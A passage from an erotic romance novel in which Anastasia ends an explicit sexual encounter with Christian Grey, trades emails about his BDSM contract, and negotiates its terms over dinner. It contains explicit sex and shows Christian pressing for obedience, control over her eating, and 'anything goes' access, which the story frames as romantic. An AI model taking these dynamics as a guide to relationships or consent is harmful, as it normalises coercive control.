from his sudden assault, and I come in- +stantly again and again, falling apart beneath him as he continues to slam deliciously into +me. He doesn’t stop. I’m spent. I can’t take this. . . and he pounds on and on and on... then +I’m building again... surely not... no... + +“Come on, Anastasia, again,” he growls through clenched teeth, and unbelievably, my +body responds, convulsing around him as I climax anew, calling out his name. I shatter +again into tiny fragments, and Christian stills, finally letting go, silently finding his release. + +He collapses on top of me, breathing hard. + +“How nice was that?” he asks through his gritted teeth. + +Oh my. + +I lie panting and spent on the bed, eyes closed as he slowly pulls out of me. He rises +immediately and dresses. When he’s fully clothed, he climbs back on the bed and gently +undoes his tie and pulls my t-shirt off. I flex my fingers and rub my wrists, smiling at the +woven pattern imprinted on my wrists from the tie. I re-adjust my bra as he pulls the duvet +and quilt over me. I stare up at him completely dazed, and he smirks down at me. + +“That was really nice,” I whisper, smiling coyly. + +“There’s that word again.” + +“You don’t like that word?” + +“No. It doesn’t do it for me at all.” + +“Oh - I don’t know... it seems to have a very beneficial effect on you.” + +“I’m a beneficial effect, now am I? Could you wound my ego any further, Miss Steele?” +“I don’t think there’s anything wrong with your ego.” But even as I say it, I don’t feel +the conviction of my words - something elusive crosses my mind, a fleeting thought, but +it’s lost before I can grasp it. + +“You think?” His voice is soft. He’s lying beside me, fully clothed, his head propped +up on his elbow, and I am only wearing my bra. + +“Why don’t you like to be touched?” + +“I just don’t.” He reaches over and plants a soft kiss on my forehead. “So, that email +was your idea of a joke.” + +I smile apologetically at him and shrug. + +“I see. So you are still considering my proposition?” + +“Your indecent proposal... yes I am. I have issues though.” + +He grins down at me as if relieved. + +“I’d be disappointed if you didn’t.” + +“I was going to email them to you, but you kind of interrupted me.” + +“Coitus Interruptus.” + + +“See, I knew you had a sense of humor somewhere in there.” I smile. + +“Only certain things are funny, Anastasia. I thought you were saying no, no discussion +at all.” His voice drops. + +“I don’t know yet. I haven’t made up my mind. Will you collar me?” + +He raises his eyebrows. + +“You have been doing your research. I don’t know, Anastasia. I’ve never collared +anyone.” + +Oh... should I be surprised by this? I know so little about the scene... I don’t know. + +“Were you collared?” I whisper. + +“Yes.” + +“By Mrs. Robinson?” + +“Mrs. Robinson!” he laughs loudly, freely, and he looks so young and carefree, his +head thrown back, his laughter infectious. + +I grin back at him. + +“I’ll tell her you said that, she’ll love it.” + +“You still talk to her regularly?” I can’t keep the shock out of my voice. + +“Yes.” He’s serious now. + +Oh. . . and part of me is suddenly insanely jealous - I’m disturbed by the depth of my +feeling. + +“I see.” My voice is tight. “So you have someone you can discuss your alternative +lifestyle with, but I’m not allowed.” + +He frowns. + +“I don’t think I’ve ever thought about it like that. Mrs. Robinson was part of that life- +style. I told you, she’s a good friend now. If you’d like, I can introduce you to one of my +former subs, you could talk to her.” + +What? Is he deliberately trying to upset me? + +“Is this your idea of a joke? + +“No, Anastasia.” He’s bemused as he shakes his head earnestly. + +“No - I’ll do this on my own, thank you very much,” I snap at him, pulling the duvet +up to my chin. + +He stares at me, at sea, surprised. + +“Anastasia, I... ” He’s lost for words. A first, I think. “I didn’t mean to offend you.” + +“I’m not offended. I’m appalled.” + +“Appalled?” + +“I don’t want to talk to one of your ex-girlfriends. . . slave. . . sub. . . whatever you call +them.” + +“Anastasia Steele - are you jealous?” + +I flush, crimson. + +“Are you staying?” + +“I have a breakfast meeting tomorrow at the Heathman. Besides, I told you, I don’t +sleep with girlfriends, slaves, subs, or anyone. Friday and Saturday night were exceptions. +It won’t happen again.” I can hear the resolve behind his soft, husky voice. + +I purse my lips at him. + +“Well I’m tired now.” + + +“Are you kicking me out?” He raises his eyebrows at me, amused and a little dismayed. + +“Yes.” + +“Well that’s another first.” He eyes me speculatively. “So nothing you want to discuss +now? About the contract.” + +“No.” I reply petulantly. + +“God, I’d like to give you a good hiding. You’d feel a lot better, and so would I.” + +“You can’t say things like that... I haven’t signed anything yet.” + +“A man can dream, Anastasia.” He leans over me and grasps my chin. “Wednesday?” +he murmurs, and he kisses me lightly on my lips. + +“Wednesday,” I agree. “I’ll see you out. If you give me a minute.” I sit up and grab my +t-shirt, pushing him out of the way. Amused and reluctant, he gets up off the bed. + +“Please pass me my sweat pants.” + +He collects them from the floor and hands them to me. + +“Yes, ma’am.” He’s trying unsuccessfully to hide his smile. + +I narrow my eyes at him as I slip the pants on. My hair is a state, and I know I’ll have to +face the Katherine Kavanagh Inquisition after he’s gone. Grabbing a hair tie, I walk to my +bedroom door, opening it slightly checking for Kate. She is not in the living area. I think +I can hear her on the phone in her room. Christian follows me out. During the short walk +from bedroom to front door, my thoughts and feelings ebb and flow, transforming. I’m no +longer angry with him, I feel suddenly unbearably shy. I don’t want him to go. For the +first time, I’m wishing he was - normal - wanting a normal relationship that doesn’t need +a ten-page agreement, a flogger, and karabiners in his playroom ceiling. + +I open the door for him and stare down at my hands. This is the first time I have ever +had sex in my home, and as sex goes, I think it was pretty damn fine. But now I feel like +a receptacle - an empty vessel to be filled at his whim. My subconscious shakes her head. +You wanted to run to the Heathman for sex - you had it express-delivered. She crosses her +arms and taps her foot with a what-are-you-complaining-about-look on her face. Christian +stops in the doorway and clasps my chin, forcing my eyes to meet his. His brow creases +slightly. + +“You okay?” he asks tenderly as his thumb lightly caresses my bottom lip. + +“Yes.” I reply, though in all honesty I’m just not sure. I feel a paradigm shift. I know +that if I do this thing with him, I will get hurt. He’s not capable, interested, or willing to +offer me any more... and I want more. Much more. The surge of jealousy I felt only mo- +ments ago tells me that I have deeper feelings for him than I have admitted to myself. + +“Wednesday,” he confirms, and he leans forward and kisses me softly. Something +changes while he’s kissing me, his lips grow more urgent against mine, his hand moves up +from my chin and he’s holding the side of my head, his other hand on the other side. His +breathing accelerates. He deepens the kiss, leaning into me. I put my hands on his arms. + +I want to run them through his hair, but I resist, knowing that he won’t like it. He leans his +forehead against mine, his eyes closed, his voice strained. + +“Anastasia,” he whispers. “What are you doing to me?” + +“I could say the same to you,” I whisper back. + +Taking a deep breath, he kisses my forehead and leaves. He strolls purposefully down +the path towards his car as he runs his hand through his hair. Glancing up as he opens + + +his car door, he smiles his breathtaking smile. My answering smile is weak, completely +dazzled by him, and I’m reminded once more of Icarus soaring too close to the Sun. I close +the front door as he climbs into his sporty car. I have an overwhelming urge to cry, a sad +and lonely melancholy grips and tightens round my heart. Dashing back to my bedroom, + +I close the door and lean against it trying to rationalize my feelings. I can’t. Sliding to the +floor, I put my head in my hands as my tears begin to flow. + +Kate knocks gently. + +“Ana?” she whispers. I open the door. She takes one look at me and throws her arms +around me. + +“What’s wrong? What did that creepy good-looking bastard do?” + +“Oh Kate, nothing I didn’t want him to.” + +She pulls me to my bed and we sit. + +“You have dreadful sex hair.” + +In spite of my poignant sadness, I laugh. + +“It was good sex, not dreadful at all.” + +Kate smiles. + +“That’s better. Why are you crying? You never cry.” She retrieves my brush from the +side table, and sitting behind me, very slowly starts brushing out the knots. + +“I just don’t think our relationship is going to go anywhere.” I stare down at my fingers. +“I thought you said you were going to see him on Wednesday?” + +“I am, that was our original plan.” + +“So, why did he turn up here today?” + +“I sent him an email.” + +“Asking him to drop by?” + +“No, saying I didn’t want to see him anymore.” + +“And he turns up? Ana, that’s genius.” + +“Actually it was a joke.” + +“Oh. Now I’m really confused.” + +Patiently, I explain the essence of my email without giving anything away. + +“So you thought he’d reply by email.” + +“Yes.” + +“But instead he turns up here.” + +“Yes.” + +“I’d say he’s completely smitten with you.” + +I frown. Christian, smitten with me? Hardly. He’s just looking for a new toy - a con- +venient new toy that he can bed and do unspeakable things to. My heart tightens painfully. +This is the reality. + +“He came here to fuck me, that’s all.” + +“Who said romance was dead?” she whispers horrified. I’ve shocked Kate. I didn’t +think that was possible. I shrug apologetically. + +“He uses sex as a weapon.” + +“Fuck you into submission?” She shakes her head disapprovingly. I blink rapidly at +her, and I can feel the blush as it spreads across my face. Oh... spot on, Katherine Kava- +nagh, Pulitzer Prize-winning journalist. + + +“Ana, I don’t understand, you just let him make love to you?” + +“No, Kate, we don’t make love - we fuck - Christian’s terminology. He doesn’t do +the love thing.” + +“I knew there was something weird about him. He has commitment issues.” + +I nod, as if in agreement. Inwardly, I pine. Oh Kate... I wish I could tell you every- +thing, everything about this strange, sad, kinky guy, and you could tell me to forget about +him. Stop me from being a fool. + +“I guess it’s all a little overwhelming,” I murmur. That’s the understatement of the + +year. + +Because I don’t want to talk about Christian any more, I ask her about Elliot. Kather- +ine’s whole demeanor changes at the mere mention of his name, she lights up from within, +beaming at me. + +“He’s coming over early Saturday to help load up.” She hugs the hairbrush, boy has +she got it bad, and I feel a familiar faint stab of envy. Kate has found herself a normal man, +and she looks so happy. + +I turn and hug her. + +“Oh, I meant to say. Your dad called while you were... err, occupied. Apparently Bob +has sustained some injury, so your mom and he can’t make graduation. But your dad will +be here Thursday. He wants you to call.” + +“Oh... my mom never called me. Is Bob okay?” + +“Yes. Call her in the morning. It’s late now.” + +“Thanks, Kate. I’m okay now. I’ll call Ray in the morning too. I think I’ll just turn +in.” + +She smiles, but her eyes crinkle at the corners with concern. + +After she’s gone, I sit and read the contract again, making more notes as I go. When +I’ve finished, I fire up the laptop, ready to respond. + +There’s an email from Christian in my inbox. + + +From: Christian Grey +Subject: This evening +Date: May 23 2011 23:16 +To: Anastasia Steele + +Miss Steele + +I look forward to receiving your notes on the contract. +Until then, sleep well baby. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Issues +Date: May 24 2011 00:02 +To: Christian Grey + + +Dear Mr. Grey + +Here is my list of issues. I look forward to discussing them more fully at dinner on +Wednesday. + +The numbers refer to clauses: + +2: Not sure why this is solely for MY benefit - ie to explore MY sensuality and limits. I’m +sure I wouldn’t need a ten-page contract to do that! Surely this is for YOUR benefit. + +4: As you are aware you are my only sexual partner. I don’t take drugs, and I’ve not had +any blood transfusions. I’m probably safe. What about you? + +8: I can terminate at any time if I don’t think you’re sticking to the agreed limits. Okay - I +like this. + +9: Obey you in all things? Accept without hesitation your discipline? We need to talk +about this. + +1 1 : One month trial period. Not three. + +12: I cannot commit every weekend. I do have a life, or will have. Perhaps three out of +four? + +15.2: Using my body as you see fit sexually or otherwise - please define “or otherwise.” +15.5: This whole discipline clause. I’m not sure I want to be whipped, flogged, or corpo- +rally punished. I am sure this would be in breach of clauses 2-5. And also “for any other +reason”. That’s just mean - and you told me you weren’t a sadist. + +15.10: Like loaning me out to someone else would ever be an option. But I’m glad it’s +here in black and white. + +15.14: The Rules. More on those later. + +15.19: Touching myself without your permission. What’s the problem with this? You +know I don’t do it anyway. + +15.21: Discipline - Please see clause 1 5.5 above. + +15.22: I can’t look into your eyes? Why? + +15.24: Why can’t I touch you? + +Rules: + +Sleep - I’ll agree to 6 hours. Food - I am not eating food from a prescribed list. The food +list goes or I do - Deal breaker. Clothes - as long as I only have to wear your clothes +when I’m with you... okay. Exercise - We agreed 3 hours, this still says 4. + +Soft Limits: + +Can we go through all of these? No Fisting of any kind. What is suspension? Genital +Clamps - you have got to be kidding me. + +Can you please let me know the arrangements for Wednesday? I am working until 5pm +that day. + +Good night. + +Ana + + +From: Christian Grey +Subject: This evening +Date: May 24 2011 00:07 +To: Anastasia Steele + +Miss Steele + +That’s a long list. Why are you still up? + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Burning the midnight oil +Date: May 24 2011 00:10 ~ + +To: Christian Grey + +Sir + +If you recall I was going through this list, when I was distracted and bedded by a passing +control freak. + +Goodnight. + +Ana + + +From: Christian Grey + +Subject: Stop Burning the midnight oil + +Date: May 24 2011 00:12 + +To: Anastasia Steele + +GO TO BED ANASTASIA. + + +Christian Grey + +CEO & Control Freak, Grey Enterprises Holdings Inc. + + +Oh... shouty capitals! I switch off. How can he intimidate me when he’s six miles away? +I shake my head. My heart still heavy, I climb into bed and fall instantly into a deep but +troubled sleep. + + +Chapter Thirteen + + +The following day, I call my mom when I’m home from work. It’s been a relatively peace- +ful day at the Clayton’s, allowing me far too much time to think. I’m restless, nervous +about my showdown with Mr. Control Freak tomorrow, and at the back of my mind, I’m +worried that perhaps I’ve been too negative in my response to the contract. Perhaps he’ll +call the whole thing off. + +My mom is oozing contrition, desperately sorry not to make my graduation. Bob has +twisted some ligament which means he’s hobbling all over the place. Honestly, he’s as +accident-prone as I am. He’s expected to make a full recovery, but it means he’s resting +up, and my mother has to wait on him hand and sore foot. + +“Ana honey, I’m so sorry,” my mom whines down the phone. + +“Mom, it’s fine. Ray will be there.” + +“Ana, you sound distracted - are you okay, baby?” + +“Yes, Mom,” Oh if only you knew. There’s an obscenely rich guy I’ve met and he +wants some kind of strange kinky sexual relationship, in which I don’t get a say in things. + +“Have you met someone?” + +“No, Mom.” I am so not going there right now. + +“Well, darling, I’ll be thinking of you on Thursday. I love you... you know that hon- +ey?” + +I close my eyes, her precious words give me a warm glow inside. + + +“Love you too, Mom. Say hi to Bob, and I hope he gets better fast.” + +“Will do, honey. Bye.” + +“Bye.” + +I have strayed into my bedroom with the phone. Idly, I switch the mean machine on +and fire up the email program. There’s an email from Christian from late last night or very +early this morning, depending on your point of view. My heart rate spikes instantly, and I +hear the blood pumping in my ears. Holy crap... perhaps he’s said no - that’s it - maybe +he’s canceling dinner. The thought is so painful. I dismiss it quickly and open the email. + + +From: Christian Grey +Subject: Your Issues +Date: May 24 2011 01:27 +To: Anastasia Steele + +Dear Miss Steele + +Following my more thorough examination of your issues, may I bring to your attention the +definition of submissive, +submissive [suhb-mis-iv] - adjective + +1 . inclined or ready to submit; unresistingly or humbly obedient: submissive servants. + +2. marked by or indicating submission: a submissive reply. + +Origin: 1580-90; submiss + -ive + +Synonyms: 1. tracta ble, comp lia nt, p liant, amenable. 2. passive, resigned, patient, +docile, tame, subdued. Antonyms: 1. rebellious, disobedient. + +Please bear this in mind for our meeting on Wednesday. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +My initial feeling is one of relief. He’s willing to discuss my issues at least, and he still +wants to meet tomorrow. After some thought, I reply. + + +From: Anastasia Steele + +Subject: My Issues... What about Your Issues? + +Date: May 24 2011 18:29 +To: Christian Grey + +Sir + +Please note the date of origin: 1580-90. I would respectfully remind Sir that the year is +201 1 . We have come a long way since then. + +May I offer a definition for you to consider for our meeting: +compromise [kom-pruh-mahyz] - noun + +1 . a settlement of differences by mutual concessions; an agreement reached by adjust- +ment of conflicting or opposing claims, principles, etc., by reciprocal modification of de- +mands. 2. the result of such a settlement. 3. something intermediate between different +things: The split-level is a compromise between a ranch house and a multistoried house. +4. an endangering, esp. of reputation; exposure to danger, suspicion, etc.: a compro- + + +mise of one’s integrity. +Ana + + +From: Christian Grey +Subject: What about My Issues? + +Date: May 24 2011 18:32 +To: Anastasia Steele + +Good point, well made, as ever, Miss Steele. I will collect you from your apartment at +7:00 tomorrow. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: 201 1 - Women can drive +Date: May 24 2011 18:40 +To: Christian Grey + +Sir + +I have a car. I can drive. + +I would prefer to meet you somewhere. +Where shall I meet you? + +At your hotel at 7:00? + +Ana + + +From: Christian Grey +Subject: Stubborn Young Women +Date: May 24 2011 18:43 +To: Anastasia Steele + +Dear Miss Steele + +I refer to my email dated May 24, 201 1 sent at 1 :27 and the definition contained therein. +Do you ever think you’ll be able to do what you’re told? + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: Intractable Men +Date: May 24 2011 18:49 +To: Christian Grey + +Mr. Grey + +I would like to drive. + + +Please. + +Ana + + +From: Christian Grey +Subject: Exasperated Men +Date: May 24 2011 18:52 +To: Anastasia Steele + +Fine. + +My hotel at 7:00. + +I’ll meet you in the Marble Bar. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +He’s even grumpy by email. Doesn’t he understand that I may need to make a quick get- +away? Not that my Beetle is quick... but still - I need a means of escape. + + +From: Anastasia Steele +Subject: Not So Intractable Men +Date: May 24 2011 18:55 +To: Christian Grey + +Thank you. + +Ana x + + +From: Christian Grey +Subject: Exasperating Women +Date: May 24 2011 18:59 +To: Anastasia Steele + +You’re welcome. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +I call Ray, who is just about to watch the Sounders play some soccer team from Salt Lake +City, so our conversation is mercifully brief. He’s driving down on Thursday for gradua- +tion. He wants to take me out afterward for a meal. My heart swells talking to Ray, and a +huge lump knots in my throat. He has been my constant through all mom’s romantic ups +and downs. We have a special bond that I treasure. Even though he’s my stepdad, he’s +always treated me as his own, and I can’t wait to see him. It’s been too long. His quiet +fortitude is what I need now, what I miss. Maybe I can channel my inner Ray for my meet- +ing tomorrow. + + +Kate and I concentrate on packing, sharing a bottle of cheap red wine as we do. When +I finally go to bed, having almost finished packing my room, I feel calmer. The physical +activity of boxing everything up has been a welcome distraction, and I’m tired. I want a +good night’s sleep. I snuggle into my bed and am soon asleep. + + +Paul is back from Princeton before he sets off for New York to start an internship with a +financing company. He follows me round the store all day asking me for a date. It’s an- +noying. + +“Paul, for the hundredth time, I have a date this evening.” + +“No, you don’t, you’re just saying that to avoid me. You’re always avoiding me.” + +Yes... you’d think you’d take the hint. + +“Paul, I never thought it was a good idea to date the boss’s brother.” + +“You’re finishing here on Friday. You’re not working tomorrow.” + +“And I’ll be in Seattle as of Saturday and you’ll be in New York soon. We couldn’t get +much further apart if we tried. Besides, I do have a date this evening.” + +“With Jose?” + +“No.” + +“Who then?” + +“Paul... oh.” My sigh is exasperated. He’s not going to let this go. “Christian Grey.” I +cannot help the annoyance in my voice. But it does the trick. Paul’s mouth falls open, and +he gapes at me, struck dumb. Humph - even his name renders people speechless. + +“You have a date with Christian Grey,” he says finally, once he’s over the shock. Dis- +belief is evident in his voice. + +“Yes.” + +“I see.” Paul looks positively crestfallen, stunned even, and a very small part resents +that he should find this a surprise. My inner goddess does too. She makes a very vulgar +and unattractive gesture at him with her fingers. + +After that, he ignores me, and at five I am out of the door, pronto. + +Kate has lent me two dresses and two pairs of shoes for tonight and for graduation +tomorrow. I wish I could feel more enthused about clothes and make an extra effort, but +clothes are just not my thing. What is your thing, Anastasia? Christian’s softly spoken +question haunts me. Shaking my head and endeavoring to quell my nerves, I decide on the +plum-colored sheath dress for this evening. It’s demure and vaguely business-like - after +all, I am negotiating a contract. + +I shower, shave my legs and underarms, wash my hair, and then spend a good half-hour +drying it so that it falls in soft waves to my breasts and down my back. I slip a comb in to +keep one side off my face and apply mascara and some lip-gloss. I rarely wear make-up - it +intimidates me. None of my literary heroines had to deal with make-up - maybe I’d know +more about it if they had. I slip on the plum-colored stilettos that match the dress, and I’m +ready by six-thirty. + +“Well?” I ask Kate. + +She grins. + + +“Boy, you scrub up well, Ana.” She nods with approval. “You look hot.” + +“Hot! I’m aiming for demure and business-like.” + +“That too, but most of all, hot. The dress really suits you and your coloring. The way +it clings.” She smirks. + +“Kate!” I scold. + +“Just keeping it real, Ana. The whole package - looks good. Keep the dress. You’ll +have him eating out of your hand.” + +My mouth presses in a hard line. Oh, you so have that the wrong way round. + +“Wish me luck.” + +“You need luck for a date?” Her brow furrows, puzzled. + +“Yes, Kate.” + +“Well then - good luck.” She hugs me, and I am out the front door. + +I have to drive in my bare feet - Wanda, my sea-blue Beetle, wasn’t built to be driven +by stiletto-wearers. I pull up outside the Heathman at six-fifty-eight precisely and hand my +car keys to the valet for parking. He looks askance at my Beetle, but I ignore him. Taking +a deep breath and mentally girding my loins, I head into the hotel. + +Christian is leaning casually against the bar, drinking a glass of white wine. He’s +dressed in his customary white linen shirt, black jeans, black tie, and black jacket. His hair +is as tousled as ever. I sigh. Of course he looks gorgeous. I stand for a few seconds in the +entrance of the bar, gazing at him, admiring the view. He is beyond beautiful. He glances, +nervously I think, toward the entrance and stills when he sees me. Blinking a couple of +times, he then smiles a slow, lazy, sexy smile that renders me speechless and all molten +inside. Making a supreme effort not to bite my lip, I move forward aware that I, Anastasia +Steele of Clumsyville, am in high stilettos. He walks gracefully over to meet me. + +“You look stunning,” he murmurs as he leans down to briefly kiss my cheek. “A dress, +Miss Steele. I approve.” Taking my arm, he leads me to a secluded booth and signals for +the waiter. + +“What would you like to drink?” + +My lips quirk up in a quick, sly smile as I sit and slide into the booth - well, at least +he’s asking me. + +“I’ll have what you’re having, please.” See! I can play nice and behave myself. +Amused, he orders another glass of Sancerre and slides in opposite me. + +“They have an excellent wine cellar here,” he says, cocking his head to one side. + +Putting his elbows on the table, he steeples his fingers in front of his beautiful mouth, +his gray eyes alive with some unreadable emotion. And there it is... that familiar pull and +charge from him, it connects somewhere deep inside me. I shift uncomfortably under his +scrutiny, my heart palpitating. I must keep my cool. + +“Are you nervous?” he asks softly. + +“Yes.” + +He leans forward. + +“Me too,” he whispers conspiratorially. My eyes shoot up to meet his. Him. Nervous. +Never. I blink at him, and he smiles his adorable lopsided smile at me. The waiter arrives +with my wine, a small dish of mixed nuts, and another of olives. + +“So, how are we going to do this?” I ask. “Run through my points one by one?” + + +“Impatient as ever, Miss Steele.” + +“Well, I could ask you what you thought of the weather today?” + +He smiles, and his long fingers reach down to collect an olive. He pops it in his mouth, +and my eyes linger on his mouth, that mouth, that’s been on me... all parts of me. I flush. + +“I thought the weather was particularly unexceptional today,” he smirks. + +“Are you smirking at me, Mr. Grey?” + +“I am, Miss Steele.” + +“You know this contract is legally unenforceable.” + +“I am fully aware of that, Miss Steele.” + +“Were you going to tell me that at any point?” + +He frowns at me. + +“You’d think I’d coerce you into something you don’t want to do, and then pretend that +I have a legal hold over you?” + +“Well... yes.” + +“You don’t think very highly of me at all, do you?” + +“You haven’t answered my question.” + +“Anastasia, it doesn’t matter if it’s legal or not. It represents an arrangement that I +would like to make with you - what I would like from you and what you can expect from +me. If you don’t like it, then don’t sign. If you do sign, and then decide you don’t like it, +there are enough get-out clauses so you can walk away. Even if it were legally binding, do +you think I’d drag you through the courts if you did decide to run?” + +I take a long draft of my wine. My subconscious taps me hard on the shoulder. You +must keep your wits about you. Don’t drink too much. + +“Relationships like this are built on honesty and trust,” he continues. “If you don’t +trust me - trust me to know how I’m affecting you, how far I can go with you, how far I +can take you - if you can’t be honest with me, then we really can’t do this.” + +Oh my, we’ve cut to the chase quickly. How far he can take me. Holy shit. What does +that mean? + +“So it’s quite simple, Anastasia. Do you trust me or not?” His eyes are burning, fer- +vent. + +“Did you have similar discussions with urn... the fifteen?” + +“No.” + +“Why not?” + +“Because they were all established submissives. They knew what they wanted out of +a relationship with me and generally what I expected. With them, it was just a question of +fine-tuning the soft limits, details like that.” + +“Is there a store you go to? Submissives R Us?” + +He laughs. + +“Not exactly.” + +“Then how?” + +“Is that what you want to discuss? Or shall we get down to the nitty-gritty? Your is- +sues, as you say.” + +I swallow. Do I trust him? Is that what this all comes down to - trust? Surely that +should be a two-way thing. I remember his snit when I phoned Jose. + + +“Are you hungry?” he asks, distracting me from my thoughts. + +Oh no... food. + +“No.” + +“Have you eaten today?” + +I stare at him. Honesty... Holy crap, he’s not going to like my answer. + +“No.” My voice is small. + +He narrows his eyes. + +“You have to eat, Anastasia. We can eat down here or in my suite. What would you +prefer?” + +“I think we should stay in public, on neutral ground.” + +He smiles sardonically. + +“Do you think that would stop me?” he says softly, a sensual warning. + +My eyes widen, and I swallow again. + +“I hope so.” + +“Come, I have a private dining room booked. No public.” He smiles at me enigmati- +cally and climbs out of the booth, holding his hand out to me. + +“Bring your wine,” he murmurs. + +Placing my hand in his, I slide out and stand up beside him. He releases me, and his +hand reaches for my elbow. He leads me back through the bar and up the grand stairs to a +mezzanine floor. A young man in full Heathman livery approaches us. + +“Mr. Grey, this way sir.” + +We follow him through a plush seating area to an intimate dining room. Just one +secluded table. The room is small but sumptuous. Beneath a shimmering chandelier, +the table is all starched linen, crystal glasses, silver cutlery, and white rose bouquet. An +old-world, sophisticated charm pervades the wood-paneled room. The waiter pulls out my +chair, and I sit. He places my napkin in my lap. Christian sits opposite me. I peek up at +him. + +“Don’t bite your lip,” he whispers. + +I frown. Damn it. I don’t even know that I’m doing it. + +“I’ve ordered already. I hope you don’t mind.” + +Frankly, I’m relieved, I’m not sure I can make any further decisions. + +“No, that’s fine,” I acquiesce. + +“It’s good to know that you can be amenable. Now, where were we?” + +“The nitty-gritty.” I take another large sip of wine. It really is delicious. Christian +Grey does wine well. I remember the last sip of wine he gave me, in my bed. I blush at +the intrusive thought. + +“Yes, your issues.” He fishes into his inside jacket pocket and pulls out a piece of paper. +My email. + +“Clause 2. Agreed. This is for the benefit of us both. I shall redraft.” + +I blink at him. Holy shit... we are going to go through each of these points one at a +time. I just don’t feel so brave face to face. He looks so earnest. I steel myself with an- +other sip of my wine. Christian continues. + +“My sexual health. Well, all of my previous partners have had blood tests, and I have +regular tests every six months for all the health risks you mention. All my recent tests are + + +clear. I have never taken drugs. In fact, I’m vehemently anti-drugs. I have a strict no- +tolerance policy with regards to drugs for all my employees, and I insist on random drug +testing.” + +Wow... control freakery gone mad. I blink at him shocked. + +“I have never had any blood transfusions. Does that answer your question?” + +I nod, impassive. + +“Your next point I mentioned earlier. You can walk away any time, Anastasia. I won’t +stop you. If you go, however - that’s it. Just so you know.” + +“Okay,” I answer softly. If I go, that’s it. The thought is surprisingly painful. + +The waiter arrives with our first course. How can I possibly eat? Holy Moses - he’s +ordered oysters on a bed of ice. + +“I hope you like oysters,” Christian’s voice is soft. + +“I’ve never had one.” Ever. + +“Really? Well.” He reaches for one. “All you do is tip and swallow. I think you can +manage that.” He gazes at me, and I know what he’s referring to. I blush scarlet. He grins +at me, squirts some lemon juice onto his oyster, and then tips it into his mouth. + +“Hmm, delicious. Tastes of the sea,” he grins at me. “Go on,” he encourages. + +“So, I don’t chew it?” + +“No, Anastasia, you don’t.” His eyes are alight with humor. He looks so young like + +this. + +I bite my lip, and his expression changes instantly. He looks sternly at me. I reach +across and pick up my first ever oyster. Okay... here goes nothing. I squirt some lemon +juice on it and tip it up. It slips down my throat, all seawater, salt, the sharp tang of citrus, +and fleshiness... ooh. I lick my lips, and he’s watching me intently, his eyes hooded. +“Well?” + +“I’ll have another,” I say dryly. + +“Good girl,” he says proudly. + +“Did you choose these deliberately? Aren’t they known for their aphrodisiac quali- +ties?” + +“No, they are the first item on the menu. I don’t need an aphrodisiac near you. I think +you know that, and I think you react the same way near me,” he says simply. “So where +were we?” He glances at my email as I reach for another oyster. + +He reacts the same way. I affect him... wow. + +“Obey me in all things. Yes, I want you to do that. I need you to do that. Think of it +as role-play Anastasia.” + +“But I’m worried you’ll hurt me.” + +“Hurt you how?” + +“Physically.” And emotionally. + +“Do you really think I would do that? Go beyond any limit you can’t take?” + +“You’ve said you’ve hurt someone before.” + +“Yes, I have. It was a long time ago.” + +“How did you hurt them?” + + +“I suspended them from my playroom ceiling. In fact, that’s one of your questions. +Suspension - that’s what the karabiners are for in the playroom. Rope play. One of the +ropes was tied too tightly.” + +I hold my hand up begging him to stop. + +“I don’t need to know any more. So you won’t suspend me then?” + +“Not if you really don’t want to. You can make that a hard limit.” + +“Okay.” + +“So obeying, do you think you can manage that?” + +He stares at me, his gray eyes intense. The seconds tick by. + +“I could try,” I whisper. + +“Good.” He smiles. “Now term. One month instead of three is no time at all, espe- +cially if you want a weekend away from me each month. I don’t think I’ll be able to stay +away from you for that length of time. I can barely manage it now,” he pauses. + +He can’t stay away from me? What? + +“How about, one day over one weekend per month you get to yourself - but I get a +midweek night that week?” + +“Okay.” + +“And please, let’s try it for three months. If it’s not for you then, you can walk away +anytime.” + +“Three months?” I’m feeling railroaded. I take another large sip of wine and treat my- +self to another oyster. I could learn to like these. + +“The ownership thing, that’s just terminology and goes back to the principle of obey- +ing. It’s to get you into the right frame of mind, to understand where I’m coming from. + +And I want you to know that as soon as you cross my threshold as my submissive, I will do +what I like to you. You have to accept that and willingly. That’s why you have to trust me. + +I will fuck you, any time, any way, I want - anywhere I want. I will discipline you, because +you will screw up. I will train you to please me. But I know you’ve not done this before. +Initially, we’ll take it slowly, and I will help you. We’ll build up to various scenarios. I +want you to trust me, but I know I have to earn your trust, and I will. The “or otherwise” + +- again it’s to help you get into the mindset, it means anything goes.” + +He’s so passionate, mesmerizing. This is obviously his obsession, the way he is... I +can’t take my eyes off him. He really, really wants this. He stops talking and gazes at me. + +“Still with me?” he whispers, his voice rich, warm and seductive. He takes a sip of his +wine, his penetrating stare holding mine. + +The waiter comes to the door, and Christian subtly nods permitting the waiter to clear +our table. + +“Would you like some more wine?” + +“I have to drive.” + +“Some water then?” + +I nod. + +“Still or sparkling?” + +“Sparkling, please.” + +The waiter leaves. + +“You’re very quiet,” Christian whispers. + + +“You’re very verbose.” + +He smiles. + +“Discipline. There’s a very fine line between pleasure and pain Anastasia. They are +two sides of the same coin, one not existing without the other. I can show you how plea- +surable pain can be. You don’t believe me now, but this is what I mean about trust. There +will be pain, but nothing that you can’t handle. Again, it comes down to trust. Do you +trust me, Ana?” + +Ana! + +“Yes, I do.” I respond spontaneously, not thinking... because it’s true - I do trust him. +“Well then,” he looks relieved. “The rest of this stuff is just details.” + +“Important details.” + +“Okay, let’s talk through those.” + +My head is swimming with all his words. I should have brought Kate’s mini disc +player so I can listen back to this. There is so much information, so much to process. The +waiter re-emerges with our entrees: black cod, asparagus, and crushed potatoes with a hol- +landaise sauce. I have never felt less like food. + +“I hope you like fish,” Christian says mildly. + +I make a stab at my food and take a long drink of my sparkling water. I vehemently +wish it was wine. + +“The rules. Let’s talk about them. The food is a deal breaker?” + +“Yes.” + +“Can I modify to say that you will eat at least three meals a day?” + +“No.” I am so not backing down on this. No one is going to dictate to me what I eat. +How I fuck, yes, but eat... no, no way. + +He purses his lips. + +“I need to know that you’re not hungry.” + +I frown. Why? + +“You’ll have to trust me.” + +He gazes at me for a moment, and he relaxes. + +“Touche, Miss Steele,” he says quietly. “I concede 